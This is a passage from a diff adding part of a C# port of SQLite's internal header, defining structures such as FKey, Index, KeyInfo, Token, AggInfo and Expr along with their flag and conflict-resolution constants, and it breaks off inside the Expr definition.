TF_HasPrimaryKey 0x04 /* Table has a primary key */ + //#define TF_Autoincrement 0x08 /* Integer primary key is autoincrement */ + //#define TF_Virtual 0x10 /* Is a virtual table */ + //#define TF_NeedMetadata 0x20 /* aCol[].zType and aCol[].pColl missing */ + /* + ** Allowed values for Tabe.tabFlags. + */ + const int TF_Readonly = 0x01; /* Read-only system table */ + const int TF_Ephemeral = 0x02; /* An ephemeral table */ + const int TF_HasPrimaryKey = 0x04; /* Table has a primary key */ + const int TF_Autoincrement = 0x08; /* Integer primary key is autoincrement */ + const int TF_Virtual = 0x10; /* Is a virtual table */ + const int TF_NeedMetadata = 0x20; /* aCol[].zType and aCol[].pColl missing */ + + /* + ** Test to see whether or not a table is a virtual table. This is + ** done as a macro so that it will be optimized out when virtual + ** table support is omitted from the build. + */ +#if !SQLITE_OMIT_VIRTUALTABLE +//# define IsVirtual(X) (((X)->tabFlags & TF_Virtual)!=0) + static bool IsVirtual( Table X ) + { + return ( X.tabFlags & TF_Virtual ) != 0; + } + //# define IsHiddenColumn(X) ((X)->isHidden) +static bool IsHiddenColumn( Column X ) +{ + return X.isHidden != 0; +} +#else + //# define IsVirtual(X) 0 + static bool IsVirtual( Table T ) + { + return false; + } + //# define IsHiddenColumn(X) 0 + static bool IsHiddenColumn( Column C ) + { + return false; + } +#endif + + /* +** Each foreign key constraint is an instance of the following structure. +** +** A foreign key is associated with two tables. The "from" table is +** the table that contains the REFERENCES clause that creates the foreign +** key. The "to" table is the table that is named in the REFERENCES clause. +** Consider this example: +** +** CREATE TABLE ex1( +** a INTEGER PRIMARY KEY, +** b INTEGER CONSTRAINT fk1 REFERENCES ex2(x) +** ); +** +** For foreign key "fk1", the from-table is "ex1" and the to-table is "ex2". +** +** Each REFERENCES clause generates an instance of the following structure +** which is attached to the from-table. The to-table need not exist when +** the from-table is created. The existence of the to-table is not checked. +*/ + public class FKey + { + public Table pFrom; /* Table containing the REFERENCES clause (aka: Child) */ + public FKey pNextFrom; /* Next foreign key in pFrom */ + public string zTo; /* Name of table that the key points to (aka: Parent) */ + public FKey pNextTo; /* Next foreign key on table named zTo */ + public FKey pPrevTo; /* Previous foreign key on table named zTo */ + public int nCol; /* Number of columns in this key */ + /* EV: R-30323-21917 */ + public u8 isDeferred; /* True if constraint checking is deferred till COMMIT */ + public u8[] aAction = new u8[2]; /* ON DELETE and ON UPDATE actions, respectively */ + public Trigger[] apTrigger = new Trigger[2];/* Triggers for aAction[] actions */ + + public class sColMap + { /* Mapping of columns in pFrom to columns in zTo */ + public int iFrom; /* Index of column in pFrom */ + public string zCol; /* Name of column in zTo. If 0 use PRIMARY KEY */ + }; + public sColMap[] aCol; /* One entry for each of nCol column s */ + + public FKey Copy() + { + if ( this == null ) + return null; + else + { + FKey cp = (FKey)MemberwiseClone(); + return cp; + } + } + + }; + + /* + ** SQLite supports many different ways to resolve a constraint + ** error. ROLLBACK processing means that a constraint violation + ** causes the operation in process to fail and for the current transaction + ** to be rolled back. ABORT processing means the operation in process + ** fails and any prior changes from that one operation are backed out, + ** but the transaction is not rolled back. FAIL processing means that + ** the operation in progress stops and returns an error code. But prior + ** changes due to the same operation are not backed out and no rollback + ** occurs. IGNORE means that the particular row that caused the constraint + ** error is not inserted or updated. Processing continues and no error + ** is returned. REPLACE means that preexisting database rows that caused + ** a UNIQUE constraint violation are removed so that the new insert or + ** update can proceed. Processing continues and no error is reported. + ** + ** RESTRICT, SETNULL, and CASCADE actions apply only to foreign keys. + ** RESTRICT is the same as ABORT for IMMEDIATE foreign keys and the + ** same as ROLLBACK for DEFERRED keys. SETNULL means that the foreign + ** key is set to NULL. CASCADE means that a DELETE or UPDATE of the + ** referenced table row is propagated into the row that holds the + ** foreign key. + ** + ** The following symbolic values are used to record which type + ** of action to take. + */ + const int OE_None = 0;//#define OE_None 0 /* There is no constraint to check */ + const int OE_Rollback = 1;//#define OE_Rollback 1 /* Fail the operation and rollback the transaction */ + const int OE_Abort = 2;//#define OE_Abort 2 /* Back out changes but do no rollback transaction */ + const int OE_Fail = 3;//#define OE_Fail 3 /* Stop the operation but leave all prior changes */ + const int OE_Ignore = 4;//#define OE_Ignore 4 /* Ignore the error. Do not do the INSERT or UPDATE */ + const int OE_Replace = 5;//#define OE_Replace 5 /* Delete existing record, then do INSERT or UPDATE */ + + const int OE_Restrict = 6;//#define OE_Restrict 6 /* OE_Abort for IMMEDIATE, OE_Rollback for DEFERRED */ + const int OE_SetNull = 7;//#define OE_SetNull 7 /* Set the foreign key value to NULL */ + const int OE_SetDflt = 8;//#define OE_SetDflt 8 /* Set the foreign key value to its default */ + const int OE_Cascade = 9;//#define OE_Cascade 9 /* Cascade the changes */ + + const int OE_Default = 99;//#define OE_Default 99 /* Do whatever the default action is */ + + + /* + ** An instance of the following structure is passed as the first + ** argument to sqlite3VdbeKeyCompare and is used to control the + ** comparison of the two index keys. + */ + public class KeyInfo + { + public sqlite3 db; /* The database connection */ + public u8 enc; /* Text encoding - one of the SQLITE_UTF* values */ + public u16 nField; /* Number of entries in aColl[] */ + public u8[] aSortOrder; /* Sort order for each column. May be NULL */ + public CollSeq[] aColl = new CollSeq[1]; /* Collating sequence for each term of the key */ + public KeyInfo Copy() + { + return (KeyInfo)MemberwiseClone(); + } + }; + + /* + ** An instance of the following structure holds information about a + ** single index record that has already been parsed out into individual + ** values. + ** + ** A record is an object that contains one or more fields of data. + ** Records are used to store the content of a table row and to store + ** the key of an index. A blob encoding of a record is created by + ** the OP_MakeRecord opcode of the VDBE and is disassembled by the + ** OP_Column opcode. + ** + ** This structure holds a record that has already been disassembled + ** into its constituent fields. + */ + public class UnpackedRecord + { + public KeyInfo pKeyInfo; /* Collation and sort-order information */ + public u16 nField; /* Number of entries in apMem[] */ + public u16 flags; /* Boolean settings. UNPACKED_... below */ + public i64 rowid; /* Used by UNPACKED_PREFIX_SEARCH */ + public Mem[] aMem; /* Values */ + }; + + /* + ** Allowed values of UnpackedRecord.flags + */ + //#define UNPACKED_NEED_FREE 0x0001 /* Memory is from sqlite3Malloc() */ + //#define UNPACKED_NEED_DESTROY 0x0002 /* apMem[]s should all be destroyed */ + //#define UNPACKED_IGNORE_ROWID 0x0004 /* Ignore trailing rowid on key1 */ + //#define UNPACKED_INCRKEY 0x0008 /* Make this key an epsilon larger */ + //#define UNPACKED_PREFIX_MATCH 0x0010 /* A prefix match is considered OK */ + //#define UNPACKED_PREFIX_SEARCH 0x0020 /* A prefix match is considered OK */ + const int UNPACKED_NEED_FREE = 0x0001; /* Memory is from sqlite3Malloc() */ + const int UNPACKED_NEED_DESTROY = 0x0002; /* apMem[]s should all be destroyed */ + const int UNPACKED_IGNORE_ROWID = 0x0004; /* Ignore trailing rowid on key1 */ + const int UNPACKED_INCRKEY = 0x0008; /* Make this key an epsilon larger */ + const int UNPACKED_PREFIX_MATCH = 0x0010; /* A prefix match is considered OK */ + const int UNPACKED_PREFIX_SEARCH = 0x0020; /* A prefix match is considered OK */ + + /* + ** Each SQL index is represented in memory by an + ** instance of the following structure. + ** + ** The columns of the table that are to be indexed are described + ** by the aiColumn[] field of this structure. For example, suppose + ** we have the following table and index: + ** + ** CREATE TABLE Ex1(c1 int, c2 int, c3 text); + ** CREATE INDEX Ex2 ON Ex1(c3,c1); + ** + ** In the Table structure describing Ex1, nCol==3 because there are + ** three columns in the table. In the Index structure describing + ** Ex2, nColumn==2 since 2 of the 3 columns of Ex1 are indexed. + ** The value of aiColumn is {2, 0}. aiColumn[0]==2 because the + ** first column to be indexed (c3) has an index of 2 in Ex1.aCol[]. + ** The second column to be indexed (c1) has an index of 0 in + ** Ex1.aCol[], hence Ex2.aiColumn[1]==0. + ** + ** The Index.onError field determines whether or not the indexed columns + ** must be unique and what to do if they are not. When Index.onError=OE_None, + ** it means this is not a unique index. Otherwise it is a unique index + ** and the value of Index.onError indicate the which conflict resolution + ** algorithm to employ whenever an attempt is made to insert a non-unique + ** element. + */ + public class Index + { + public string zName; /* Name of this index */ + public int nColumn; /* Number of columns in the table used by this index */ + public int[] aiColumn; /* Which columns are used by this index. 1st is 0 */ + public int[] aiRowEst; /* Result of ANALYZE: Est. rows selected by each column */ + public Table pTable; /* The SQL table being indexed */ + public int tnum; /* Page containing root of this index in database file */ + public u8 onError; /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ + public u8 autoIndex; /* True if is automatically created (ex: by UNIQUE) */ + public u8 bUnordered; /* Use this index for == or IN queries only */ + public string zColAff; /* String defining the affinity of each column */ + public Index pNext; /* The next index associated with the same table */ + public Schema pSchema; /* Schema containing this index */ + public u8[] aSortOrder; /* Array of size Index.nColumn. True==DESC, False==ASC */ + public string[] azColl; /* Array of collation sequence names for index */ + public IndexSample[] aSample; /* Array of SQLITE_INDEX_SAMPLES samples */ + + public Index Copy() + { + if ( this == null ) + return null; + else + { + Index cp = (Index)MemberwiseClone(); + return cp; + } + } + }; + /* + ** Each sample stored in the sqlite_stat2 table is represented in memory + ** using a structure of this type. + */ + public class IndexSample + { + public struct _u + { //union { + public string z; /* Value if eType is SQLITE_TEXT */ + public byte[] zBLOB; /* Value if eType is SQLITE_BLOB */ + public double r; /* Value if eType is SQLITE_FLOAT or SQLITE_INTEGER */ + } + public _u u; + public u8 eType; /* SQLITE_NULL, SQLITE_INTEGER ... etc. */ + public u8 nByte; /* Size in byte of text or blob. */ + }; + + /* + ** Each token coming out of the lexer is an instance of + ** this structure. Tokens are also used as part of an expression. + ** + ** Note if Token.z==0 then Token.dyn and Token.n are undefined and + ** may contain random values. Do not make any assumptions about Token.dyn + ** and Token.n when Token.z==0. + */ + public class Token + { +#if DEBUG_CLASS_TOKEN || DEBUG_CLASS_ALL +public string _z; /* Text of the token. Not NULL-terminated! */ +public bool dyn;// : 1; /* True for malloced memory, false for static */ +public Int32 _n;// : 31; /* Number of characters in this token */ + +public string z +{ +get { return _z; } +set { _z = value; } +} + +public Int32 n +{ +get { return _n; } +set { _n = value; } +} +#else + public string z; /* Text of the token. Not NULL-terminated! */ + public Int32 n; /* Number of characters in this token */ +#endif + public Token() + { + this.z = null; + this.n = 0; + } + public Token( string z, Int32 n ) + { + this.z = z; + this.n = n; + } + public Token Copy() + { + if ( this == null ) + return null; + else + { + Token cp = (Token)MemberwiseClone(); + if ( z == null || z.Length == 0 ) + cp.n = 0; + else + if ( n > z.Length ) + cp.n = z.Length; + return cp; + } + } + } + + /* + ** An instance of this structure contains information needed to generate + ** code for a SELECT that contains aggregate functions. + ** + ** If Expr.op==TK_AGG_COLUMN or TK_AGG_FUNCTION then Expr.pAggInfo is a + ** pointer to this structure. The Expr.iColumn field is the index in + ** AggInfo.aCol[] or AggInfo.aFunc[] of information needed to generate + ** code for that node. + ** + ** AggInfo.pGroupBy and AggInfo.aFunc.pExpr point to fields within the + ** original Select structure that describes the SELECT statement. These + ** fields do not need to be freed when deallocating the AggInfo structure. + */ + public class AggInfo_col + { /* For each column used in source tables */ + public Table pTab; /* Source table */ + public int iTable; /* VdbeCursor number of the source table */ + public int iColumn; /* Column number within the source table */ + public int iSorterColumn; /* Column number in the sorting index */ + public int iMem; /* Memory location that acts as accumulator */ + public Expr pExpr; /* The original expression */ + }; + public class AggInfo_func + { /* For each aggregate function */ + public Expr pExpr; /* Expression encoding the function */ + public FuncDef pFunc; /* The aggregate function implementation */ + public int iMem; /* Memory location that acts as accumulator */ + public int iDistinct; /* Ephemeral table used to enforce DISTINCT */ + } + public class AggInfo + { + public u8 directMode; /* Direct rendering mode means take data directly +** from source tables rather than from accumulators */ + public u8 useSortingIdx; /* In direct mode, reference the sorting index rather +** than the source table */ + public int sortingIdx; /* VdbeCursor number of the sorting index */ + public ExprList pGroupBy; /* The group by clause */ + public int nSortingColumn; /* Number of columns in the sorting index */ + public AggInfo_col[] aCol; + public int nColumn; /* Number of used entries in aCol[] */ + public int nColumnAlloc; /* Number of slots allocated for aCol[] */ + public int nAccumulator; /* Number of columns that show through to the output. +** Additional columns are used only as parameters to +** aggregate functions */ + public AggInfo_func[] aFunc; + public int nFunc; /* Number of entries in aFunc[] */ + public int nFuncAlloc; /* Number of slots allocated for aFunc[] */ + + public AggInfo Copy() + { + if ( this == null ) + return null; + else + { + AggInfo cp = (AggInfo)MemberwiseClone(); + if ( pGroupBy != null ) + cp.pGroupBy = pGroupBy.Copy(); + return cp; + } + } + }; + + /* + ** The datatype ynVar is a signed integer, either 16-bit or 32-bit. + ** Usually it is 16-bits. But if SQLITE_MAX_VARIABLE_NUMBER is greater + ** than 32767 we have to make it 32-bit. 16-bit is preferred because + ** it uses less memory in the Expr object, which is a big memory user + ** in systems with lots of prepared statements. And few applications + ** need more than about 10 or 20 variables. But some extreme users want + ** to have prepared statements with over 32767 variables, and for them + ** the option is available (at compile-time). + */ + //#if SQLITE_MAX_VARIABLE_NUMBER<=32767 + //typedef i16 ynVar; + //#else + //typedef int ynVar; + //#endif + + /* + ** Each node of an expression in the parse tree is an instance + ** of this structure. + ** + ** Expr.op is the opcode. The integer parser token codes are reused + ** as opcodes here. For example, the parser defines TK_GE to be an integer + ** code representing the ">=" operator. This same integer code is reused + ** to represent the greater-than-or-equal-to operator in the expression + ** tree. + ** + ** If the expression is an SQL literal (TK_INTEGER, TK_FLOAT, TK_BLOB, + ** or TK_STRING), then Expr.token contains the text of the SQL literal. If + ** the expression is a variable (TK_VARIABLE), then Expr.token contains the + ** variable name. Finally, if the expression is an SQL function (TK_FUNCTION), + ** then Expr.token contains the name of the function. + ** + ** Expr.pRight and Expr.pLeft are the left and right subexpressions of a + ** binary operator. Either or both may be NULL. + ** + ** Expr.x.pList is a list of arguments if the expression is an SQL function, + ** a CASE expression or an IN expression of the form " IN (, ...)". + ** Expr.x.pSelect is used if the expression is a sub-select or an expression of + ** the form " IN (SELECT ...)". If the EP_xIsSelect bit is set in the + ** Expr.flags mask, then Expr.x.pSelect is valid. Otherwise, Expr.x.pList is + ** valid. + ** + ** An expression of the form ID or ID.ID refers to a column in a table. + ** For such expressions, Expr.op is set to TK_COLUMN and Expr.iTable is + ** the integer cursor number of a VDBE cursor pointing to that table and + ** Expr.iColumn is the column number for the specific column. If the + ** expression is used as a result in an aggregate SELECT, then the + ** value is also stored in the Expr.iAgg column in the aggregate so that + ** it can be accessed after all aggregates are computed. + ** + ** If the expression is an unbound variable marker (a question mark + ** character '?' in the original SQL) then the Expr.iTable holds the index + ** number for that variable. + ** + ** If the expression is a subquery then Expr.iColumn holds an integer + ** register number containing the result of the subquery. If the + ** subquery gives a constant result, then iTable is -1. If the subquery + ** gives a different answer at different times during statement processing + ** then iTable is the address of a subroutine that computes the subquery. + ** + ** If the Expr is of type OP_Column, and the table it is selecting from + ** is a disk table or the "old.*" pseudo-table, then pTab points to the + ** corresponding table definition. + ** + ** ALLOCATION NOTES: + ** + ** Expr objects can use a lot of memory space in database schema. To + ** help reduce memory requirements, sometimes an Expr object will be + ** truncated. And to reduce the number of memory allocations, sometimes + ** two or more Expr objects will be stored in a single memory allocation, + ** together with Expr.zToken strings. + ** + ** If the EP_Reduced and EP_TokenOnly flags are set when + ** an Expr object is truncated. When EP_Reduced is set, then all + ** the child Expr objects in the Expr.pLeft and Expr.pRight subtrees + ** are contained within the same memory allocation. Note, however, that + ** the subtrees in Expr.x.pList or Expr.x.pSelect are always separately + ** allocated, regardless of whether or not EP_Reduced is set. + */ + public class Expr + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +public u8 _op; /* Operation performed by this node */ +public u8 op +{ +get { return _op; } +set { _op = value; } +} +#else + public u8 op; /* Operation performed by this node */ +#endif + public char affinity; /* The affinity of the column or 0 if not a column */ +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +public u16 _flags; /* Various flags. EP_* See below */ +public u16 flags +{ +get { return _flags; } +set { _flags = value; } +} +public struct _u +{ +public string _zToken; /* Token value. Zero terminated and dequoted */ +public string zToken +{ +get { return _zToken; } +set { _zToken = value; } +} +public int iValue; /* Non-negative integer value if EP_IntValue */ +} + +#else + public struct _u + { + public string zToken; /* Token value. Zero terminated and dequoted */ + public int iValue; /* Non-negative integer value if EP_IntValue */ + } + public u16 flags; /* Various flags. EP_* See below */ +#endif + public _u u; + + /* If the EP_TokenOnly flag is set in the Expr.flags mask, then no + ** space is allocated for the fields below this point. An attempt to + ** access them will result in a segfault or malfunction. + *********************************************************************/ + + public Expr pLeft; /* Left subnode */ + public Expr pRight; /* Right subnode */ + public struct _x + { + public ExprList pList; /* Function arguments or in " IN ( IN (